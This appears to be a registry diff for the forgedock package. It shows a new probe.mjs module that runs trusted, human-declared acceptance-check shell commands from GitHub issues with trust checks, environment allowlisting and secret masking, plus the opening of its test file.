forgedock 1.30.0 → 1.32.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (162) hide show
  1. package/bin/engine/outcome-codes.mjs +3 -2
  2. package/bin/engine/runlog.mjs +82 -12
  3. package/bin/engine/telemetry-seam.mjs +11 -4
  4. package/bin/engine/telemetry-seam.test.mjs +18 -0
  5. package/bin/engine-cli.mjs +409 -38
  6. package/bin/engine.mjs +47 -37
  7. package/bin/forgedock.mjs +35 -3
  8. package/bin/gc.mjs +50 -17
  9. package/bin/hooks/reread-nudge.mjs +65 -0
  10. package/bin/labels.json +5 -0
  11. package/bin/lean/apishape.mjs +170 -0
  12. package/bin/lean/apishape.test.mjs +187 -0
  13. package/bin/lean/batch.mjs +32 -0
  14. package/bin/lean/batch.test.mjs +338 -2
  15. package/bin/lean/budget.mjs +89 -0
  16. package/bin/lean/budget.test.mjs +106 -0
  17. package/bin/lean/checks.mjs +32 -9
  18. package/bin/lean/checks.test.mjs +78 -1
  19. package/bin/lean/conformance.e2e.test.mjs +27 -5
  20. package/bin/lean/conformance.mjs +150 -15
  21. package/bin/lean/conformance.test.mjs +175 -3
  22. package/bin/lean/context.mjs +128 -44
  23. package/bin/lean/context.test.mjs +157 -5
  24. package/bin/lean/decompose.mjs +90 -0
  25. package/bin/lean/decompose.test.mjs +105 -0
  26. package/bin/lean/depcache.mjs +11 -7
  27. package/bin/lean/depcache.test.mjs +81 -0
  28. package/bin/lean/e2e.mjs +102 -0
  29. package/bin/lean/e2e.test.mjs +86 -0
  30. package/bin/lean/effects.mjs +48 -15
  31. package/bin/lean/explore.mjs +47 -0
  32. package/bin/lean/explore.test.mjs +61 -0
  33. package/bin/lean/facts.mjs +84 -0
  34. package/bin/lean/facts.test.mjs +66 -0
  35. package/bin/lean/fixround.mjs +90 -0
  36. package/bin/lean/fixround.test.mjs +117 -0
  37. package/bin/lean/heavy.mjs +35 -2
  38. package/bin/lean/heavy.test.mjs +32 -2
  39. package/bin/lean/lean.mjs +712 -134
  40. package/bin/lean/lean.test.mjs +1626 -37
  41. package/bin/lean/ledger.mjs +5 -3
  42. package/bin/lean/ledger.test.mjs +18 -0
  43. package/bin/lean/light.mjs +135 -0
  44. package/bin/lean/light.test.mjs +173 -0
  45. package/bin/lean/lightlane.mjs +219 -0
  46. package/bin/lean/lightlane.test.mjs +237 -0
  47. package/bin/lean/limits.test.mjs +36 -1
  48. package/bin/lean/orchestrate.mjs +303 -41
  49. package/bin/lean/pitfalls.mjs +136 -0
  50. package/bin/lean/pitfalls.test.mjs +117 -0
  51. package/bin/lean/postmerge.mjs +85 -0
  52. package/bin/lean/postmerge.test.mjs +79 -0
  53. package/bin/lean/precheck.mjs +138 -13
  54. package/bin/lean/precheck.test.mjs +118 -1
  55. package/bin/lean/prefilter.mjs +220 -5
  56. package/bin/lean/prefilter.test.mjs +260 -4
  57. package/bin/lean/preflight.mjs +108 -3
  58. package/bin/lean/preflight.test.mjs +48 -1
  59. package/bin/lean/probe.mjs +297 -0
  60. package/bin/lean/probe.test.mjs +210 -0
  61. package/bin/lean/prompts.mjs +104 -13
  62. package/bin/lean/render.mjs +7 -3
  63. package/bin/lean/resume.mjs +67 -0
  64. package/bin/lean/resume.test.mjs +84 -0
  65. package/bin/lean/review-trigger.mjs +12 -0
  66. package/bin/lean/review-trigger.test.mjs +17 -1
  67. package/bin/lean/routing.mjs +74 -0
  68. package/bin/lean/routing.test.mjs +67 -0
  69. package/bin/lean/sched.mjs +16 -1
  70. package/bin/lean/sched.test.mjs +175 -1
  71. package/bin/lean/schedd.mjs +55 -9
  72. package/bin/lean/schedd.test.mjs +170 -3
  73. package/bin/lean/selfreview.mjs +37 -0
  74. package/bin/lean/selfreview.test.mjs +51 -0
  75. package/bin/lean/seqlease.mjs +40 -0
  76. package/bin/lean/seqlease.test.mjs +101 -0
  77. package/bin/lean/sequence.mjs +296 -13
  78. package/bin/lean/sequence.test.mjs +263 -2
  79. package/bin/lean/toolchain.mjs +60 -15
  80. package/bin/lean/toolchain.test.mjs +120 -3
  81. package/bin/lean/toolstats.mjs +72 -0
  82. package/bin/lean/toolstats.test.mjs +47 -0
  83. package/bin/lean/verifier.mjs +232 -0
  84. package/bin/lean/verifier.test.mjs +163 -0
  85. package/bin/lean/verify.mjs +72 -10
  86. package/bin/lean/verify.test.mjs +68 -3
  87. package/bin/review-staging.mjs +533 -0
  88. package/bin/runner.mjs +82 -13
  89. package/bin/stats/aggregate.mjs +87 -2
  90. package/bin/stats/efficiency.mjs +335 -0
  91. package/bin/stats/efficiency.test.mjs +266 -0
  92. package/bin/stats/github-source.mjs +8 -3
  93. package/bin/stats/index.mjs +91 -6
  94. package/bin/stats/local-source.mjs +145 -8
  95. package/bin/stats/query.mjs +181 -3
  96. package/bin/stats/render.mjs +22 -0
  97. package/bin/stats/stats.test.mjs +403 -8
  98. package/commands/orchestrate.md +3 -1
  99. package/commands/review-pr-agents/protocols.md +1 -1
  100. package/commands/review-pr-staging.md +84 -831
  101. package/commands/review-pr.md +1 -1
  102. package/commands/work-on/build/implement.md +1 -0
  103. package/commands/work-on/build/validate.md +11 -1
  104. package/docs/CONFIG.md +80 -5
  105. package/docs/OUTCOME-CODES.md +2 -1
  106. package/docs/STATS.md +66 -1
  107. package/docs/TELEMETRY.md +1 -1
  108. package/docs/eval/corpus/lightlane-v1.json +55 -0
  109. package/docs/eval/lightlane-bench.md +91 -0
  110. package/docs/spec/review-protocol.md +1 -1
  111. package/package.json +1 -1
  112. package/scripts/bench-lightlane.mjs +286 -0
  113. package/scripts/ci-local/lib.mjs +20 -0
  114. package/scripts/ci-local/plan.mjs +2 -12
  115. package/scripts/ci-local/scoping.mjs +10 -1
  116. package/scripts/ci-local.test.sh +2 -0
  117. package/scripts/fixtures/apishape/other/go-change/base/x.go +3 -0
  118. package/scripts/fixtures/apishape/other/go-change/head/x.go +3 -0
  119. package/scripts/fixtures/apishape/python/generator-function/base/seq.py +3 -0
  120. package/scripts/fixtures/apishape/python/generator-function/head/seq.py +2 -0
  121. package/scripts/fixtures/apishape/python/ichunked/base/more.py +17 -0
  122. package/scripts/fixtures/apishape/python/ichunked/head/more.py +20 -0
  123. package/scripts/fixtures/apishape/python/private-edit/base/calc.py +6 -0
  124. package/scripts/fixtures/apishape/python/private-edit/head/calc.py +9 -0
  125. package/scripts/fixtures/apishape/python/removed/base/ops.py +6 -0
  126. package/scripts/fixtures/apishape/python/removed/head/ops.py +2 -0
  127. package/scripts/fixtures/apishape/python/renamed/base/text.py +2 -0
  128. package/scripts/fixtures/apishape/python/renamed/head/text.py +2 -0
  129. package/scripts/fixtures/apishape/python/signature/base/shapes.py +2 -0
  130. package/scripts/fixtures/apishape/python/signature/head/shapes.py +2 -0
  131. package/scripts/fixtures/apishape/python/sync-async/base/client.py +7 -0
  132. package/scripts/fixtures/apishape/python/sync-async/head/client.py +7 -0
  133. package/scripts/fixtures/apishape/ts/generator-function/base/seq.js +3 -0
  134. package/scripts/fixtures/apishape/ts/generator-function/head/seq.js +5 -0
  135. package/scripts/fixtures/apishape/ts/private-edit/base/calc.ts +7 -0
  136. package/scripts/fixtures/apishape/ts/private-edit/head/calc.ts +9 -0
  137. package/scripts/fixtures/apishape/ts/removed/base/ops.ts +7 -0
  138. package/scripts/fixtures/apishape/ts/removed/head/ops.ts +3 -0
  139. package/scripts/fixtures/apishape/ts/renamed/base/text.ts +3 -0
  140. package/scripts/fixtures/apishape/ts/renamed/head/text.ts +3 -0
  141. package/scripts/fixtures/apishape/ts/signature/base/shapes.ts +3 -0
  142. package/scripts/fixtures/apishape/ts/signature/head/shapes.ts +3 -0
  143. package/scripts/fixtures/apishape/ts/sync-async/base/client.mjs +5 -0
  144. package/scripts/fixtures/apishape/ts/sync-async/head/client.mjs +5 -0
  145. package/scripts/forge-root.test.sh +2 -2
  146. package/scripts/publish-staging-sync.test.sh +62 -4
  147. package/scripts/review-finalize.sh +17 -6
  148. package/scripts/review-finalize.test.sh +47 -0
  149. package/scripts/review-pr-arguments.test.sh +13 -1
  150. package/scripts/review-pr-delta-wiring.test.sh +2 -2
  151. package/scripts/review-pr-gate2.test.sh +6 -14
  152. package/scripts/review-pr-staging-finding-filter.test.sh +4 -4
  153. package/scripts/review-pr-staging-scope.test.sh +39 -33
  154. package/scripts/review-prepare.sh +73 -6
  155. package/scripts/review-prepare.test.sh +85 -0
  156. package/scripts/review-staging-post.sh +293 -0
  157. package/scripts/review-staging-post.test.sh +143 -0
  158. package/scripts/review-staging-pre.sh +401 -0
  159. package/scripts/review-staging-pre.test.sh +150 -0
  160. package/scripts/symbol-index.mjs +26 -7
  161. package/scripts/symbol-index.py +55 -9
  162. package/scripts/trusted-comments.test.sh +1 -1
@@ -0,0 +1,297 @@
1
+ // SPDX-FileCopyrightText: Copyright (c) RapierCraft Studios
2
+ // SPDX-License-Identifier: AGPL-3.0-or-later
3
+ /**
4
+ * Outcome-based acceptance (#4399): an issue may declare an acceptance probe, a command plus its pass condition. Once the
5
+ * issue's fix is on the default (production) branch, the probe runs deterministically (no model call, no lane), the
6
+ * result is recorded on the issue as a `FORGE:PROBE` comment, and a fail reopens the issue with the output attached.
7
+ *
8
+ * Declaration: a top-level fenced block in the issue body or a comment by a declarer (the latest comment wins):
9
+ * ```forge-probe
10
+ * run: curl -fsS https://example.com/health
11
+ * pass: exit 0 # default; or `pass: /regex/flags` matched against stdout
12
+ * timeout: 120 # seconds, capped at 900
13
+ * ```
14
+ * Only declarers' commands run (`isProbeDeclarer`, fail closed): a human trusted association or trusted login, never a
15
+ * Bot/App, the engine included, since bot-filed text quotes untrusted content (#4468). A block nested in another fence
16
+ * or indented as code is quoted content, not a declaration. The fix commit is the latest
17
+ * trusted FORGE:TRAJECTORY `merged at <sha>`, else the merge commit of the latest merged PR that closes the issue; it is
18
+ * promoted when `git merge-base --is-ancestor <fix> origin/<default>` holds. A recorded result is never re-run for the
19
+ * same fix. The probe gets a minimal env (PATH, HOME, LANG, TMPDIR) plus forge.yaml `acceptance_probe.env` (the repo's
20
+ * designated test identity); those values are masked in the posted output.
21
+ * Triggers: `forgedock probe [issue...]` and a sweep at the start of every `forgedock orchestrate` batch (`--no-probes`).
22
+ */
23
+ import { spawn as nodeSpawn } from "node:child_process";
24
+ import { readFileSync } from "node:fs";
25
+ import { join } from "node:path";
26
+ import { parseForgeYaml } from "../forge-utils.mjs";
27
+ import { isTrustedComment } from "../engine/phases.mjs";
28
+ import { noComments } from "./render.mjs";
29
+
30
+ export const PROBE_MARKER = "FORGE:PROBE";
31
+ export const DEFAULT_TIMEOUT_S = 120;
32
+ export const MAX_TIMEOUT_S = 900;
33
+ export const OUTPUT_TAIL = 4000;
34
+ const BASE_ENV = ["PATH", "HOME", "LANG", "TMPDIR"];
35
+
36
+ const FENCE_RE = /^ {0,3}(`{3,}|~{3,})(.*)$/;
37
+ const isForgeMarker = (body) => /^\s*<!--\s*FORGE:/.test(String(body ?? ""));
38
+
39
+ /**
40
+ * #4468: the contents of the top-level CommonMark fences of `text` whose info string is `forge-probe`. A fence closes on
41
+ * a line of its own character at least as long; anything inside another fence (a quoted sample) or indented 4+ columns
42
+ * (an indented code block) is content, never a declaration. An unclosed fence yields nothing.
43
+ */
44
+ function probeBlocks(text) {
45
+ const blocks = [];
46
+ let open = null;
47
+ for (const line of text.split("\n")) {
48
+ const m = FENCE_RE.exec(line);
49
+ if (!open) {
50
+ if (m && !(m[1][0] === "`" && m[2].includes("`"))) open = { ch: m[1][0], len: m[1].length, lines: m[2].trim() === "forge-probe" ? [] : null };
51
+ } else if (m && m[1][0] === open.ch && m[1].length >= open.len && !m[2].trim()) {
52
+ if (open.lines) blocks.push(open.lines.join("\n"));
53
+ open = null;
54
+ } else open.lines?.push(line);
55
+ }
56
+ return blocks;
57
+ }
58
+
59
+ /** The last top-level ```forge-probe block of `text`: {run, pass, timeoutS}, or null when absent or malformed. */
60
+ export function parseProbe(text) {
61
+ const blocks = probeBlocks(noComments(String(text ?? ""), " ").replace(/\r\n?/g, "\n"));
62
+ if (!blocks.length) return null;
63
+ const fields = {};
64
+ for (const line of blocks[blocks.length - 1].split("\n")) {
65
+ const m = /^\s*(run|pass|timeout)\s*:\s*(.*?)\s*$/i.exec(line);
66
+ if (m && !(m[1].toLowerCase() in fields)) fields[m[1].toLowerCase()] = m[2];
67
+ }
68
+ if (!fields.run) return null;
69
+ let pass = { kind: "exit" };
70
+ const p = (fields.pass ?? "").replace(/\s+#.*$/, "");
71
+ if (p && !/^exit\s+0$/i.test(p)) {
72
+ const r = /^\/(.+)\/([a-z]*)$/.exec(p);
73
+ if (!r) return null;
74
+ try { new RegExp(r[1], r[2]); } catch { return null; }
75
+ pass = { kind: "regex", re: r[1], flags: r[2] };
76
+ }
77
+ let timeoutS = null;
78
+ if (fields.timeout) {
79
+ const t = parseInt(fields.timeout, 10);
80
+ if (!Number.isFinite(t) || t <= 0) return null;
81
+ timeoutS = Math.min(t, MAX_TIMEOUT_S);
82
+ }
83
+ return { run: fields.run, pass, timeoutS };
84
+ }
85
+
86
+ /** REST issue/comment author fields as the trust predicate reads them. */
87
+ const actorOf = (o) => ({ association: o?.author_association, type: o?.user?.type, login: o?.user?.login });
88
+
89
+ /**
90
+ * #4468: who may declare a probe, a command the host runs. Unlike `isTrustedActor` (which trusts every Bot so engine
91
+ * markers count), only a human: association in FORGE_TRAIL_TRUSTED_ASSOCIATIONS (default OWNER,MEMBER,COLLABORATOR;
92
+ * explicitly empty trusts none) or login in FORGE_TRAIL_TRUSTED_LOGINS, never a Bot/App or `[bot]` login, the engine
93
+ * included: the issues it files quote untrusted PR content. Missing author data fails closed.
94
+ */
95
+ export function isProbeDeclarer({ association, type, login } = {}) {
96
+ if (!type || type === "Bot" || /\[bot\]$/i.test(String(login ?? ""))) return false;
97
+ const list = (v) => String(v).split(",").map((x) => x.trim()).filter(Boolean);
98
+ return list(process.env.FORGE_TRAIL_TRUSTED_ASSOCIATIONS ?? "OWNER,MEMBER,COLLABORATOR").includes(association ?? "")
99
+ || list(process.env.FORGE_TRAIL_TRUSTED_LOGINS ?? "").includes(login ?? "");
100
+ }
101
+
102
+ /**
103
+ * The probe the issue declares: the latest declarer comment's block, else the body's when its author is a declarer.
104
+ * {probe, source} | {untrusted: true} (a block exists but only from non-declarers) | null.
105
+ */
106
+ export function declaredProbe(iss) {
107
+ let untrusted = false;
108
+ for (const c of [...(iss?.comments ?? [])].reverse()) {
109
+ if (isForgeMarker(c?.body)) continue; // the engine's own comments (a FORGE:PROBE output tail) never declare a probe
110
+ const probe = parseProbe(c?.body);
111
+ if (!probe) continue;
112
+ if (isProbeDeclarer(actorOf(c))) return { probe, source: "comment" };
113
+ untrusted = true;
114
+ }
115
+ const probe = parseProbe(iss?.body);
116
+ if (probe) {
117
+ if (isProbeDeclarer(actorOf(iss))) return { probe, source: "body" };
118
+ untrusted = true;
119
+ }
120
+ return untrusted ? { untrusted: true } : null;
121
+ }
122
+
123
+ /** {fix, result} of a FORGE:PROBE comment body, or null. */
124
+ export function probeResultOf(body) {
125
+ const s = String(body ?? "");
126
+ if (!s.trimStart().startsWith(`<!-- ${PROBE_MARKER} -->`)) return null;
127
+ const line = s.split("\n").find((l) => /^\s*`?\{.*"result"/.test(l));
128
+ if (!line) return null;
129
+ try {
130
+ const j = JSON.parse(line.trim().replace(/^`|`$/g, ""));
131
+ return j && (j.result === "pass" || j.result === "fail") ? { fix: String(j.fix ?? ""), result: j.result } : null;
132
+ } catch { return null; }
133
+ }
134
+
135
+ const sameSha = (a, b) => !!a && !!b && (a.startsWith(b) || b.startsWith(a));
136
+ const closesRe = (n) => new RegExp(`\\b(?:close[sd]?|fix(?:e[sd])?|resolve[sd]?)\\b:?\\s+(?:[\\w.-]+/[\\w.-]+)?#${n}(?!\\d)`, "i");
137
+
138
+ /** The fix commit: latest trusted FORGE:TRAJECTORY `merged at <sha>`, else the latest merged PR closing #N's merge commit. */
139
+ export async function fixSha(iss, io, repo) {
140
+ for (const c of [...(iss?.comments ?? [])].reverse()) {
141
+ if (!String(c?.body ?? "").includes("FORGE:TRAJECTORY") || !isTrustedComment(c)) continue;
142
+ const m = /merged at ([0-9a-f]{7,40})\b/.exec(c.body);
143
+ if (m) return m[1];
144
+ }
145
+ try {
146
+ const prs = JSON.parse(String(await io.gh(["pr", "list", "-R", repo, "--state", "merged", "--search", `#${iss.number}`, "--json", "number,title,body,mergeCommit,mergedAt", "--limit", "20"])));
147
+ const hit = (Array.isArray(prs) ? prs : []).filter((p) => p?.mergeCommit?.oid && closesRe(iss.number).test(`${p.title ?? ""}\n${p.body ?? ""}`))
148
+ .sort((a, b) => String(b.mergedAt ?? "").localeCompare(String(a.mergedAt ?? "")))[0];
149
+ return hit?.mergeCommit?.oid ?? null;
150
+ } catch { return null; }
151
+ }
152
+
153
+ /** True when `sha` is an ancestor of origin/<defaultBranch>; any git failure (unknown object) is false. */
154
+ export async function onDefault({ sha, defaultBranch, io, cwd }) {
155
+ try { await io.git(["merge-base", "--is-ancestor", sha, `origin/${defaultBranch}`], { cwd }); return true; } catch { return false; }
156
+ }
157
+
158
+ /** forge.yaml `acceptance_probe`: {env: [names], timeoutS, sweepDays, enabled}. */
159
+ export function readProbeConfig(cwd = process.cwd()) {
160
+ let c = {};
161
+ try { c = parseForgeYaml(readFileSync(join(cwd, "forge.yaml"), "utf8"))?.acceptance_probe ?? {}; } catch { c = {}; }
162
+ if (typeof c !== "object" || !c) c = {};
163
+ const list = Array.isArray(c.env) ? c.env : String(c.env ?? "").replace(/^\[|\]$/g, "").split(/[\s,]+/);
164
+ const num = (v, d) => (Number.isFinite(Number(v)) && Number(v) > 0 ? Number(v) : d);
165
+ return {
166
+ env: list.map((s) => String(s).trim().replace(/^["']|["']$/g, "")).filter((s) => /^[A-Za-z_][A-Za-z0-9_]*$/.test(s)),
167
+ timeoutS: Math.min(num(c.timeout_s, DEFAULT_TIMEOUT_S), MAX_TIMEOUT_S),
168
+ sweepDays: num(c.sweep_days, 30),
169
+ enabled: !/^(false|no|off|0)$/i.test(String(c.enabled ?? "true").trim()),
170
+ };
171
+ }
172
+
173
+ /** The probe's environment: the base names plus the allowlisted test identity, nothing else. */
174
+ export function probeEnv(allow = [], env = process.env) {
175
+ return Object.fromEntries([...BASE_ENV, ...allow].filter((k) => typeof env[k] === "string").map((k) => [k, env[k]]));
176
+ }
177
+
178
+ /** Run `sh -c <run>` in its own process group; a timeout kills the group. Resolves {code, stdout, stderr, timedOut}. */
179
+ export function spawnProbe({ run, cwd, env, timeoutMs }) {
180
+ return new Promise((resolve) => {
181
+ let stdout = "", stderr = "", timedOut = false;
182
+ const child = nodeSpawn("sh", ["-c", run], { cwd, env, detached: true, stdio: ["ignore", "pipe", "pipe"] });
183
+ const cap = (s, d) => (s + d).slice(-OUTPUT_TAIL * 4);
184
+ child.stdout.on("data", (d) => { stdout = cap(stdout, d); });
185
+ child.stderr.on("data", (d) => { stderr = cap(stderr, d); });
186
+ const timer = setTimeout(() => { timedOut = true; try { process.kill(-child.pid, "SIGKILL"); } catch { /* gone */ } }, timeoutMs);
187
+ child.on("error", (e) => { clearTimeout(timer); resolve({ code: 127, stdout, stderr: `${stderr}${e.message}`, timedOut }); });
188
+ child.on("close", (code) => { clearTimeout(timer); resolve({ code: code ?? 1, stdout, stderr, timedOut }); });
189
+ });
190
+ }
191
+
192
+ /** Run a probe: {result: pass|fail, exit, ms, output}. The output tail masks the allowlisted env values. */
193
+ export async function runProbe(probe, { cwd, env = {}, mask = [], timeoutS = DEFAULT_TIMEOUT_S, spawn = spawnProbe, now = () => Date.now() } = {}) {
194
+ const t0 = now();
195
+ const r = await spawn({ run: probe.run, cwd, env, timeoutMs: (probe.timeoutS ?? timeoutS) * 1000 });
196
+ const ms = now() - t0;
197
+ let ok = !r.timedOut && r.code === 0;
198
+ if (!r.timedOut && probe.pass?.kind === "regex") ok = new RegExp(probe.pass.re, probe.pass.flags).test(String(r.stdout ?? ""));
199
+ let output = `${r.stdout ?? ""}${r.stderr ? `\n${r.stderr}` : ""}${r.timedOut ? `\n[timed out after ${probe.timeoutS ?? timeoutS}s]` : ""}`;
200
+ for (const v of mask) if (typeof v === "string" && v.length >= 4) output = output.split(v).join("***");
201
+ return { result: ok ? "pass" : "fail", exit: r.timedOut ? null : r.code, ms, output: output.slice(-OUTPUT_TAIL) };
202
+ }
203
+
204
+ /** The FORGE:PROBE comment. */
205
+ export function renderProbeComment({ probe, fix, defaultBranch, defaultSha, r }) {
206
+ const fence = "`".repeat(Math.max(3, ...[...String(r.output).matchAll(/`+/g)].map((m) => m[0].length + 1)));
207
+ const pass = probe.pass?.kind === "regex" ? `stdout matches \`/${probe.pass.re}/${probe.pass.flags}\`` : "exit 0";
208
+ return [
209
+ `<!-- ${PROBE_MARKER} -->`,
210
+ `## Acceptance probe: ${r.result}`,
211
+ JSON.stringify({ fix, default_sha: defaultSha, result: r.result, exit: r.exit, ms: r.ms }),
212
+ "",
213
+ `Ran after the fix \`${String(fix).slice(0, 12)}\` reached \`${defaultBranch}\`. Pass condition: ${pass}.${r.result === "fail" ? " The issue is reopened." : ""}`,
214
+ "",
215
+ fence, r.output.trim() || "(no output)", fence,
216
+ ].join("\n");
217
+ }
218
+
219
+ /** Read the issue (REST, for author_association) and its comments. */
220
+ async function readIssue(issue, repo, io) {
221
+ const iss = JSON.parse(String(await io.gh(["api", `repos/${repo}/issues/${issue}`])));
222
+ const raw = String(await io.gh(["api", `repos/${repo}/issues/${issue}/comments`, "--paginate", "--jq", ".[]"]));
223
+ const comments = raw.split("\n").filter((l) => l.trim()).map((l) => JSON.parse(l));
224
+ return { ...iss, number: issue, comments };
225
+ }
226
+
227
+ /**
228
+ * Probe one issue. Outcomes: no-probe | untrusted | unresolved | already-recorded | awaiting-promotion | pass | fail.
229
+ * Writes (comment, reopen) only for pass/fail and never with `dryRun`.
230
+ */
231
+ export async function probeIssue({ issue, repo, cwd = process.cwd(), io, defaultBranch, dryRun = false, config = readProbeConfig(cwd), env = process.env, spawn }) {
232
+ const row = (outcome, detail = "", extra = {}) => ({ issue, outcome, detail, ...extra });
233
+ const iss = await readIssue(issue, repo, io);
234
+ const d = declaredProbe(iss);
235
+ if (!d) return row("no-probe");
236
+ if (d.untrusted) return row("untrusted", "forge-probe declared only by untrusted actors; not run");
237
+ const fix = await fixSha(iss, io, repo);
238
+ if (!fix) return row("unresolved", "no fix commit found (FORGE:TRAJECTORY or a merged closing PR)");
239
+ const recorded = iss.comments.filter((c) => isTrustedComment(c)).map((c) => probeResultOf(c.body)).filter(Boolean).reverse()
240
+ .find((p) => sameSha(p.fix, fix));
241
+ if (recorded) return row("already-recorded", `${recorded.result} for ${fix.slice(0, 12)}`, { fix });
242
+ if (!(await onDefault({ sha: fix, defaultBranch, io, cwd }))) return row("awaiting-promotion", `fix ${fix.slice(0, 12)} is not on ${defaultBranch}`, { fix });
243
+ let defaultSha = null;
244
+ try { defaultSha = String(await io.git(["rev-parse", `origin/${defaultBranch}`], { cwd })).trim() || null; } catch { /* recorded as null */ }
245
+ const r = await runProbe(d.probe, { cwd, env: probeEnv(config.env, env), mask: config.env.map((k) => env[k]), timeoutS: config.timeoutS, ...(spawn ? { spawn } : {}) });
246
+ const detail = `exit ${r.exit ?? "timeout"} in ${r.ms}ms`;
247
+ if (dryRun) return row(r.result, `${detail} (dry run: not recorded)`, { fix, output: r.output });
248
+ const body = renderProbeComment({ probe: d.probe, fix, defaultBranch, defaultSha, r });
249
+ let note = "";
250
+ if (r.result === "fail") {
251
+ try { await io.gh(["issue", "reopen", String(issue), "-R", repo]); } catch (e) { note = `; reopen failed: ${String(e?.message ?? e).slice(0, 120)}`; }
252
+ }
253
+ await io.gh(["issue", "comment", String(issue), "-R", repo, "--body", body]);
254
+ return row(r.result, detail + note, { fix });
255
+ }
256
+
257
+ /** The default branch: forge.yaml `branches.default`, else GitHub's. */
258
+ export async function resolveDefaultBranch({ repo, io, cwd = process.cwd() }) {
259
+ try {
260
+ const b = parseForgeYaml(readFileSync(join(cwd, "forge.yaml"), "utf8"))?.branches?.default;
261
+ if (typeof b === "string" && b.trim()) return b.trim();
262
+ } catch { /* GitHub's */ }
263
+ return String(await io.gh(["repo", "view", repo, "--json", "defaultBranchRef", "--jq", ".defaultBranchRef.name"])).trim() || null;
264
+ }
265
+
266
+ /**
267
+ * Probe `issues`, or (none given) the issues closed within `sweepDays` that mention `forge-probe`, capped at `limit`.
268
+ * Sequential: probes hit production. Never throws per issue: an error is an `error` row.
269
+ */
270
+ export async function sweepProbes({ repo, cwd = process.cwd(), io, issues = null, limit = 50, sinceDays = null, dryRun = false, config = readProbeConfig(cwd), now = () => Date.now(), env = process.env, spawn } = {}) {
271
+ if (!config.enabled && !issues?.length) return [];
272
+ const defaultBranch = await resolveDefaultBranch({ repo, io, cwd });
273
+ if (!defaultBranch) throw new Error("no default branch");
274
+ let list = issues;
275
+ if (!list?.length) {
276
+ const since = new Date(now() - (sinceDays ?? config.sweepDays) * 86400000).toISOString().slice(0, 10);
277
+ const found = JSON.parse(String(await io.gh(["issue", "list", "-R", repo, "--state", "closed", "--search", `forge-probe in:body,comments closed:>=${since}`, "--limit", String(limit), "--json", "number"])));
278
+ list = (Array.isArray(found) ? found : []).map((i) => i.number).filter(Number.isInteger);
279
+ }
280
+ if (!list.length) return [];
281
+ try { await io.git(["fetch", "origin", defaultBranch], { cwd }); } catch { /* offline: the local ref */ }
282
+ const rows = [];
283
+ for (const issue of list) {
284
+ try { rows.push(await probeIssue({ issue, repo, cwd, io, defaultBranch, dryRun, config, env, spawn })); } catch (e) {
285
+ rows.push({ issue, outcome: "error", detail: String(e?.message ?? e).slice(0, 160) });
286
+ }
287
+ }
288
+ return rows;
289
+ }
290
+
291
+ const GROUPS = [["pass", "pass"], ["fail", "fail (reopened)"], ["awaiting-promotion", "awaiting promotion"], ["unresolved", "unresolved fix"], ["untrusted", "untrusted (not run)"], ["error", "error"]];
292
+ /** One line, e.g. `probes: pass #A; fail (reopened) #B; awaiting promotion #C`; "" when nothing ran or waits. */
293
+ export function formatProbeSummary(rows) {
294
+ const parts = GROUPS.map(([k, label]) => [label, (rows ?? []).filter((r) => r.outcome === k).map((r) => `#${r.issue}`)])
295
+ .filter(([, l]) => l.length).map(([label, l]) => `${label} ${l.join(" ")}`);
296
+ return parts.length ? `probes: ${parts.join("; ")}` : "";
297
+ }
@@ -0,0 +1,210 @@
1
+ // SPDX-FileCopyrightText: Copyright (c) RapierCraft Studios
2
+ // SPDX-License-Identifier: AGPL-3.0-or-later
3
+ import { describe, it } from "node:test";
4
+ import assert from "node:assert/strict";
5
+ import { parseProbe, declaredProbe, isProbeDeclarer, probeResultOf, probeIssue, sweepProbes, probeEnv, runProbe, formatProbeSummary, readProbeConfig, spawnProbe, MAX_TIMEOUT_S, PROBE_MARKER } from "./probe.mjs";
6
+
7
+ const block = (lines) => ["Steps.", "```forge-probe", ...lines, "```", ""].join("\n");
8
+ const OWNER = { author_association: "OWNER", user: { login: "op", type: "User" } };
9
+ const STRANGER = { author_association: "NONE", user: { login: "rando", type: "User" } };
10
+ const BOT = { author_association: "NONE", user: { login: "forgedock[bot]", type: "Bot" } };
11
+ const FIX = "abcdef123456";
12
+ const traj = { ...BOT, body: `<!-- FORGE:TRAJECTORY -->\n| Merge | merge commit | merged at ${FIX} |` };
13
+ const config = { env: ["PROBE_TOKEN"], timeoutS: 120, sweepDays: 30, enabled: true };
14
+
15
+ /** A fake gh/git world; `onMain` says whether the fix is an ancestor of origin/main. */
16
+ function world({ issue = {}, comments = [traj], onMain = true, prs = [], closed = [] } = {}) {
17
+ const w = { calls: [], reopened: [], posted: [], spawned: [] };
18
+ w.io = {
19
+ async gh(a) {
20
+ w.calls.push(a);
21
+ if (a[0] === "api" && /\/comments$/.test(a[1])) return comments.map((c) => JSON.stringify(c)).join("\n");
22
+ if (a[0] === "api") return JSON.stringify({ number: 7, state: "closed", body: block(["run: ./check.sh", "pass: exit 0"]), ...OWNER, ...issue });
23
+ if (a[0] === "issue" && a[1] === "reopen") { w.reopened.push(a[2]); return ""; }
24
+ if (a[0] === "issue" && a[1] === "comment") { w.posted.push([a[2], a[a.indexOf("--body") + 1]]); return ""; }
25
+ if (a[0] === "issue" && a[1] === "list") return JSON.stringify(closed.map((number) => ({ number })));
26
+ if (a[0] === "pr" && a[1] === "list") return JSON.stringify(prs);
27
+ if (a[0] === "repo") return "main\n";
28
+ throw new Error(`unexpected gh ${a.join(" ")}`);
29
+ },
30
+ async git(a) {
31
+ w.calls.push(["git", ...a]);
32
+ if (a[0] === "merge-base") { if (!onMain) throw new Error("exit 1"); return ""; }
33
+ if (a[0] === "rev-parse") return "9999999999999999\n";
34
+ return "";
35
+ },
36
+ };
37
+ w.spawn = (r) => async (opts) => { w.spawned.push(opts); return { code: 0, stdout: "", stderr: "", timedOut: false, ...r }; };
38
+ return w;
39
+ }
40
+ const run = (w, r = {}, extra = {}) => probeIssue({ issue: 7, repo: "o/r", cwd: "/tmp", io: w.io, defaultBranch: "main", config, env: { PATH: "/bin", HOME: "/h", PROBE_TOKEN: "s3cr3t-token", AWS_SECRET: "x" }, spawn: w.spawn(r), ...extra });
41
+ const writes = (w) => w.calls.filter((a) => a[0] === "issue" && ["comment", "reopen", "close"].includes(a[1]));
42
+
43
+ describe("probe (#4399)", () => {
44
+ it("parses a forge-probe block: exit default, regex pass, timeout cap, malformed → null", () => {
45
+ assert.deepEqual(parseProbe(block(["run: curl -fsS https://x/health"])), { run: "curl -fsS https://x/health", pass: { kind: "exit" }, timeoutS: null });
46
